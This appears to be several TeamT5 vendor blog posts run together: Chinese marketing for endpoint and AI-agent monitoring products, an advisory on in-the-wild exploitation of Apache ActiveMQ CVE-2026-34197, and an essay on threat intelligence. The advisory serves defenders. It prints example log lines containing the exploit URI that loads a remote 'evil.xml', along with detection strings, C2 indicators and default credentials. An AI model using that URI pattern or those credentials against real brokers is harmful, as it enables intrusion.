適用於縱深防禦的進階威脅防護

端點上的攻擊型態日趨隱蔽，許多惡意活動在初期看來與一般操作無異，往往需要拉長觀察時間，才能準確判斷其潛在風險*。在此前提下，防禦所要處理的已不只是單一事件本身，而是要理解攻擊如何在端點上形成、潛伏與推進，並據此做出具備脈絡的技術解讀。 端點攻擊現況：已知威脅與未知風險並存 在端點層級，防禦所面對的威脅通常同時涵蓋兩大範疇：可明確識別的惡意程式，以及尚未被完整定義的異常行為。前者具備清楚的惡意程式特徵碼，可透過偵測與比對予以辨識，在執行初期即加以阻擋；後者則可能以合法程式、系統操作或程序鏈的形式出現，必須觀察行為變化來判讀風險。這表示，單點判斷已不足以因應端點防禦的需求，而是要同時具備即時處置與持續觀察的能力，才能掌握端點上逐步成形的行為樣態。 ThreatSonar Anti-Ransomware：對應攻擊各階段的防禦機制 有鑑於此，端點防禦的設計重點，並不在於單一偵測手段的強化，而在於是否能對應不同攻擊階段的特定風險。當防禦機制無法隨攻擊進程調整觀察與處置的重點，往往只能在行為落入其可見範圍時發揮作用。 這樣的階段性防禦思維，也與 NIST 網路安全框架（NIST CSF）所定義的流程相呼應，強調防禦需隨行為變化調整觀察重點與處置方式。ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台的端點防禦機制，即以 NIST CSF 為核心設計，協助企業落實從「識別」到「復原」的完整資安應對流程，透過威脅情資整合、自動化防護與即時偵測，快速掌握並阻斷惡意行為，同時強化事件回應與事後分析能力，協助企業建立符合 NIST CSF 的縱深防禦與資安治理。 以完整脈絡強化端點防禦 以階段性防禦為核心的架構下，端點偵測與回應（EDR）不再只是事件發生時啟動的回應機制，而是能持續累積可供判讀的端點行為資料。透過為各個攻擊階段提供所需能見度與處置依據，防禦團隊得以在事件尚未成形時掌握相關風險，在事件發展過程中維持判讀一致性，並於事後回溯時保有完整。這使端點防禦不再只是判斷與應對單一事件，而是建立在理解風險與攻擊脈絡之上。 *資料來源：Google Cloud, M-Trends 2024: Our View from the Frontlines

隨著生成式 AI 與自動化技術快速發展，越來越多企業開始導入各類 AI 代理（AI Agent），應用於開發、營運、自動化任務與資料處理等情境。 這些 AI 代理具備「主動執行任務」的能力，例如：執行系統指令（command execution）、存取本地檔案與內部資料、呼叫 API 並與外部服務互動，或根據使用者指示，自主規劃並完成多步驟操作。 當 AI 開始直接參與系統操作，一個新的問題也逐漸浮現： 企業是否真正掌握 AI 代理在端點上的資安風險？ AI 代理帶來的可視性挑戰 在既有的端點監控架構下，資安團隊通常能掌握： 系統中有哪些處理程序（process）正在執行 是否出現異常程式或可疑活動 檔案與網路行為的變化 然而，AI 代理的特性，讓「可視性」面臨新的挑戰： AI 代理的行為來自自然語言寫成的提示詞（prompt） 一個任務可能轉換為多個系統操作 行為具有連續性與自動化特徵 這使得企業應開始留意——有多少 AI 代理正在端點上運作？是否涉及敏感資料存取？是否出現異常或未預期的操作行為？ 從系統行為到 AI 行為：監控需求的延伸 隨著 AI 代理的普及，端點監控的重點也逐漸從傳統系統行為，延伸至「AI 驅動的操作行為」。這並不是取代既有資安機制，而是補足一個新的觀察視角，聚焦理解「AI 在做什麼」，以及「它是如何操作系統」。 此轉變的關鍵在於將視角從程式層級監督（process-level monitoring）進一步延伸到指令層級可視化與控制（command-level visibility）。 這樣的轉變讓企業能夠觀察 AI 代理實際執行的指令內容、分析行為模式是否異常，並且更具一步建立 AI 代理的操作輪廓（behavior profile）。 建立 AI 代理行為可視性的三個關鍵能力 在 AI 代理的運作環境中，企業宜具備以下能力： 1. 行為可視化（Visibility） 掌握端點上 AI 代理的存在與活動 避免場域中存在 Shadow AI 了解其執行的指令與操作流程 2. 行為分析（Behavior Analysis） 辨識異常的指令模式（command pattern） 偵測潛在風險行為，例如未預期的資料存取 3. 安全控管（Security Control） 與既有防護工具整合，形成完整防禦架構 ThreatSonar Plus：強化 AI 代理行為的可視性與偵測能力 針對 AI 代理帶來的行為監控需求，TeamT5 推出 ThreatSonar Plus 全方位端點安全檢測平台 ，協助企業在既有端點防護架構上，進一步掌握 AI 代理的實際操作。 ThreatSonar Plus 提供的核心能力包括： 1. AI 代理行為可視化 辨識端點上 AI 代理的運作狀態 追蹤其執行的指令與行為流程 2. 指令層級偵測（Command-level Detection） 分析 AI 代理所執行的 command 辨識異常或潛在風險的操作模式 3. 行為分析能力 協助資安團隊快速理解事件脈絡 需要特別說明的是 ThreatSonar Plus 主要專注於「偵測與分析」能力，提供完整的可視性與判斷依據，透過單次掃描健檢，協助企業完整掌握環境內的 AI Agent 部署與風險狀況狀況，避免未經授權部署的 AI 代理，以及未授權之 AI 代理執行的指令行為 。 若企業需要即時阻擋與防護，則可搭配 ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台 ，透過整合使用，建立從「行為偵測 → 風險判斷 → 即時防護」的完整端點安全機制。 AI 時代下的端點安全思維 AI 代理正在逐步成為企業內部的重要執行角色，從輔助工具轉變為「具備操作能力的系統參與者」。 這樣的轉變，也讓端點安全的重點進一步擴展——不僅是監控程式與系統，更要理解與掌握 AI 的行為。 透過提升 AI 代理的可視性與分析能力，企業才能在導入 AI 的同時，維持對環境的掌控與安全。而 ThreatSonar Plus 全方位端點安檢測平台 和 ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台 聯防端點安全，正是為了協助企業在 AI 時代中，建立更完整且可持續演進的端點防護基礎。 歡迎與我們聯絡，強化 AI 時代的資安韌性。

本文改寫自 TeamT5〈 2026 年 4 月第二期的漏洞情資報告（2026 April H2 Vulnerability Insights Report）〉。 TeamT5 漏洞研究團隊致力於針對重大漏洞提供即時的應對措施與緩解方案。如欲進一步了解 TeamT5 的漏洞情資報告， 請與我們聯繫 。 TeamT5 偵測到 Apache ActiveMQ 中的一個嚴重漏洞 (CVE-2026-34197) 已被包括中國 APT 組織 SLIME88 積極利用。我們的調查顯示，SLIME88 在利用該漏洞後部署了 SoxAgent RAT ，以入侵 Linux 設備並建置 ORB 網路。我們目前以臨時名稱 GOBLIN14 追蹤該 ORB 網路。 SLIME88 最早的攻擊可以追溯到 4 月 7 日。 SLIME88 攻擊活動的受害者包括美國以及韓國、印度、法國和美國的 IT 與製造業。 本文詳細說明攻擊手法與情況。 The following blog post is based on our 2026 April H2 Vulnerability Insights Report. TeamT5 Vulnerability Research Team is dedicated to providing timely mitigation and response guidelines to critical vulnerabilities. Contact us for more information about our vulnerability intelligence. Active Exploitation of CVE-2026-34197 in Apache ActiveMQ TeamT5 has detected that a critical vulnerability (CVE-2026-34197) in Apache ActiveMQ has been actively exploited by threat actors, including the China-nexus APT SLIME88. Our investigation revealed that after exploitation, SLIME88 deployed SoxAgent RAT to compromise Linux devices and build an ORB network. We currently track the ORB network under the temporary name, GOBLIN14. The earliest SLIME88 attack can be traced back to April 7, shortly after the vulnerability was disclosed. The victims of SLIME88’s campaign included IT and manufacturing entities in the US, as well as entities in South Korea, India, France, and the US. We conclude the affected entities in Exploitation Status below. Executive Summary We assessed the severity of CVE-2026-34197 as critical and advised our customers to use this report to mitigate the impact. CVE-2026-34197 is a remote code execution (RCE) vulnerability in Apache ActiveMQ, an open-source Java message broker widely used in enterprise environments, across financial institutions, healthcare sector, governments, and more. Threat actors would send a crafted HTTP request to Apache ActiveMQ's Jolokia API endpoint, triggering the ActiveMQ broker to fetch a malicious XML configuration file from the C2 server and ultimately resulting in remote code execution. Although CVE-2026-34197 requires authentication, default credentials ( admin/admin ) are common in many cases. On some versions of Apache ActiveMQ, actors can exploit CVE-2024-32114[1] to bypass authentication. Apache disclosed CVE-2026-34197 on April 7 with mitigation information[2]. Public report indicated the vulnerability had been detected prior to the disclosure[3]. A proof-of-concept (PoC) exploit subsequently became publicly available,[4] and threat actors were observed exploiting the vulnerability in the wild shortly after disclosure.[5] Based on our investigation and current exploitation status of CVE-2026-34197, we depicted the Forensic Artifacts in this report and prepared a comprehensive Mitigation and Response Advisory for our customers. The Mitigation and Response Advisory includes: Official Information Related Indicators of Compromise of this vulnerability. Threat Hunting Tool: Log parsers to analyze ActiveMQ broker log produced by the exploitation of CVE-2026-34197 Exploitation Status CVE-2026-34197 has been actively exploited by threat actors, including the Chinese APT SLIME88. The victims included IT and manufacturing entities in the US, as well as entities in South Korea, India, France, and the US. China-nexus SLIME88[6] exploited CVE-2026-34197 to implant SoxAgent on Apache ActiveMQ entity. After receiving the crafted HTTP request, the victim host would fetch a malicious XML payload[7] from the C2 to exploit CVE-2026-34197, resulting in remote code execution. Afterwards, the actor deployed a download script[8] for SoxAgent. The C2 of the download script is 103.201.131.121. We detected sample of SoxAgent[9]. The C2s of SoxAgent are www.fastsecurey.info and 103.201.131.121. The victims included IT and manufacturing entities in the US, as well as entities in South Korea, India, France, and the US. We assessed that SLIME88 sought to compromise these devices with SoxAgent to build an ORB network, which we currently track as GOBLIN14. All malicious indicators associated with CVE-2026-34197 are summarized in the IoC section of this report. The full list can be downloaded via download page of ThreatVision. Mitigation and Response Advisory 1. Official Information Apache patched CVE-2026-34197 in ActiveMQ Classic Version 6.2.3 and 5.19.4 , released respectively on March 30 and 31. We highly recommend our clients and partners apply the patch as soon as possible. https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt 2. Mitigation It is recommended to change the default credentials (e.g. admin/admin ) and restrict access to Jolokia ( /api/jolokia ) and the Web Console, as these management interfaces expose sensitive broker operations. 3. Threat Hunting Tools CVE-2026-34197 has been actively exploited by threat actors. Our vulnerability team provided log parsers to analyze broker logs produced by the exploitation of CVE-2026-34197. The tools can also be downloaded from ThreatVision Threat Hunting Tools . Forensic Artifacts Threat actors would send a crafted HTTP request to Apache ActiveMQ’s Jolokia API endpoint. After receiving the request, the ActiveMQ broker would then process a malicious URI embedded in the HTTP request and retrieve a remote XML configuration file from the C2 server, triggering the exploitation of CVE-2026-34197 and ultimately achieving remote code execution. Therefore, we recommend using the log parser[10] to check the ActiveMQ broker log ( activemq.log ) for URIs containing vm:// and ?brokerConfig , which may indicate exploitation attempts. - Below is an example of a broker log produced by the exploitation of CVE-2026-34197: 2026-04-27 08:44:38,999 | INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://<REDACTED>/evil.xml | org.apache.activemq.network.DiscoveryNetworkConnector | qtp504006221-38 2026-04-27 08:44:39,028 | WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://<REDACTED>/evil.xml: The configuration has no BrokerService instance for resource: xbean:http://<REDACTED>/evil.xml | org.apache.activemq.network.DiscoveryNetworkConnector | qtp504006221-38 2026-04-27 08:44:39,029 | INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] started | org.apache.activemq.network.NetworkConnector | qtp504006221-38 In some cases, the ActiveMQ broker may attempt to reconnect to the C2 server indefinitely. Each retry would attempt to re-fetch the malicious XML configuration file, generating failure errors in activemq.log . The error logs will contain Failed to load URL and connection error , which also serves as forensic artifacts of exploitation attempts. - Below is an example of the error log: 2026-04-27 08:50:10,379 | ERROR | Failed to load: URL [http://<REDACTED>/evil.xml], reason: IOException parsing XML document from URL [http://<REDACTED>/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused) | org.apache.activemq.xbean.XBeanBrokerFactory | ActiveMQ Task-11 org.springframework.beans.factory.BeanDefinitionStoreException: IOException parsing XML document from URL [http://<REDACTED>/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) Appendix I: Malware Table Malware Table introduces the malware mentioned in this report. Name Type Description Used by First Seen SoxAgent RAT SoxAgent is a Linux backdoor that silently converts compromised hosts into SOCKS5 relay nodes. It maintains a persistent reverse connection to a hardcoded C2, negotiates AES-encrypted tunnels dynamically, and forwards TCP traffic through the victim to conceal attacker origin. Its supporting capabilities include remote update, self-deletion, and heartbeat reporting with falsified tunnel metrics. SLIME88 2026.04 Appendix II: Other critical CVEs TeamT5 also provides Patch Management Report (PMR) . Published every week (or more), the PMR will provide our customers with concise yet comprehensive updates on the most critical and exploitable vulnerabilities selected by TeamT5 vulnerability research team during the period. Each vulnerability will be provided with patch information. If you are interested in subscribing to this new report series, please contact TeamT5 for more information . Reference [1] CVE-2024-32114 is a vulnerability in Apache ActiveMQ Classic versions 6.0.0 through 6.1.1 which exposes the Jolokia API endpoint without authentication, allowing unauthenticated actors to interact directly with broker management operations. https://nvd.nist.gov/vuln/detail/cve-2024-32114 [2] Apache ActiveMQ Security Advisory for CVE-2026-34197 https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt [3] 10 Minutes with Claude: Remote Code Execution in Apache ActiveMQ (CVE-2026-34197) https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/ [4] Proof of Concept (PoC) of CVE-2026-34197: https://github.com/DEVSECURITYSPRO/CVE-2026-34197 [5] Apache.ActiveMQ.CVE-2026-34197.Code.Injection https://www.fortiguard.com/encyclopedia/ips/60672 [6] SLIME88 is a China-nexus APT. SLIME88 has targeted Taiwan’s energy sector through phishing emails and fake certificate installer, attempting to deploy backdoor programs such as AdaptixC2 and CobaltStrike. SLIME88 often uses Cloudflare to hide the real C2 IP address in order to evade tracking by researchers. [7] SHA-256: c5eacffa5c909209f97f720740802024761c432e8ebbd2d6e5b30fe0e79e19de [8] SHA-256: 968ec5e0c4aa7e15f0a04c5e7f96393aa7cbf12d2125dfe7dd20351408dd0615 [9] SHA-256: 60521e103bb134aea3169da6d3dfdcdae8e4d5e82df265a377b648bae39aca5f

網路風險已不再只是單一漏洞或零星攻擊造成的問題。國家級攻擊活動、勒索軟體攻擊、暴露在外的基礎設施遭到利用，以及可信任供應鏈管道被濫用，都讓威脅環境變得更複雜。這項趨勢在亞太地區尤其明顯，政府機關、關鍵基礎設施、資訊與科技公司等持續成為攻擊目標，攻擊者也不斷調整手法，試圖規避既有防禦。 對資安長與決策者而言，真正的挑戰不只是威脅與日俱增，更加上如何判斷哪些威脅與自身最相關、哪些風險需要優先處理，以及有限資源該如何配置，才能有效降低曝險。 網路防禦中的決策障礙 許多組織早已部署各種資安工具，掌握漏洞相關資訊，也有告警與監控系統。然而，真正缺乏的不是資訊，而是攻擊脈絡：組織為什麼可能成為目標、攻擊者可能採取哪些手法，以及哪些環節最容易被利用。這樣的缺口往往成為資安決策的障礙，並會造成下列四種影響： 風險評估不明確 如果不知道組織為什麼可能遭到鎖定，團隊就很難判斷哪些風險最切身相關、最需要優先處理。 資安投資容易分散 如果無法掌握真正關鍵的資產，防禦資源可能會過於分散，反而難以集中保護最重要的目標。 初步應變難以奏效 如果不了解攻擊手法與行為模式，前線團隊就需要花更多時間判斷應該先調查哪些線索、優先處理哪些系統，因此拖慢應變速度。 攻擊跡象易遭忽略 如果監控範圍沒有涵蓋實際攻擊中常見的跡象、路徑與行為，早期活動就容易遭到忽略，進而造成偵測與應變延誤，甚至擴大影響範圍。 換句話說，問題不在於資訊不足，而是組織無法及時將威脅脈絡轉化為判斷依據。當判斷無法及時形成，防禦就只能陷於被動。 從理解攻擊到排定防禦優先順序 要及早採取行動，組織就必須理解攻擊如何推進，以及防禦該在哪些環節及早介入。威脅情資不只是靜態的入侵指標清單，其價值在於協助團隊理解攻擊者如何進行準備、進入環境、維持存取，最後又會對組織造成何種影響。 從攻擊者視角重新檢視防禦，可以讓資安決策更為聚焦。當特定產業或環境正受到攻擊者偵查時，情資可以協助管理者重新評估自身的曝險程度；當特定遞送手法、惡意程式或已遭利用的漏洞反覆出現時，情資可以引導資安團隊鎖定可能的攻擊路徑；當觀察到發令與控制模式或相關跡象時，情資也能協助安全營運中心（SOC）團隊調整監控與偵測重點。 組織無須等到事件造成損害後，才了解情資的重要性；而是可以在事件升級之前，就讓情資成為判斷與行動的依據。 威脅情資如何支援資安決策 威脅情資的價值，在於讓資安團隊從「知道風險存在」走向「知道如何應對」，並協助不同層級的角色進行對應的決策： 1. 管理層彙報 將地緣政治風險、攻擊者活動與產業曝險，彙整為管理層能理解、討論，並用於決策的重點，以利監控、投資與風險規劃。 2. 改善措施與漏洞優先排序 不只依賴 CVSS 分數，而是結合漏洞已遭利用的證據、威脅活動與組織業務的關聯性，判斷哪些漏洞應該優先處理。 3. SOC 與 IR 協作 運用 IoC、TTP、威脅狩獵假設與偵測邏輯，強化 SIEM 監控、提升告警分流判斷，有助於加快初步應變的速度。 4. 建立事件初步假設 在調查初期，運用攻擊脈絡與相關攻擊活動的情資，能讓可能入侵路徑、影響範圍與優先調查的方向更為聚焦，避免團隊陷入「一無所知，動彈不得」的狀態。 ThreatVision 將威脅情勢、攻擊行為、技術指標與監控分析相互整合，讓情資成為實務決策的基礎，協助團隊把散落的資訊轉化為可採取的行動；從管理層彙報、漏洞修補排序，再到偵測、調查與應變都能有效應用。 聚焦是主動防禦的基礎 沒有組織能應對所有威脅，也無法將所有風險都同等視之。主動防禦的起點，是先釐清哪些威脅與自身最相關、哪些資產需要優先關注，以及哪些行動能在事件擴大前降低風險。 威脅情資所提供的，正是協助組織聚焦的能力。透過情資，資安決策者能理解攻擊者如何行動，更早辨識與組織相關的風險，並將有限資源做最有效的配置。當組織能以威脅情資引導決策方向，就無須等到攻擊發生後才被動因應，而能事先掌握防禦主動權。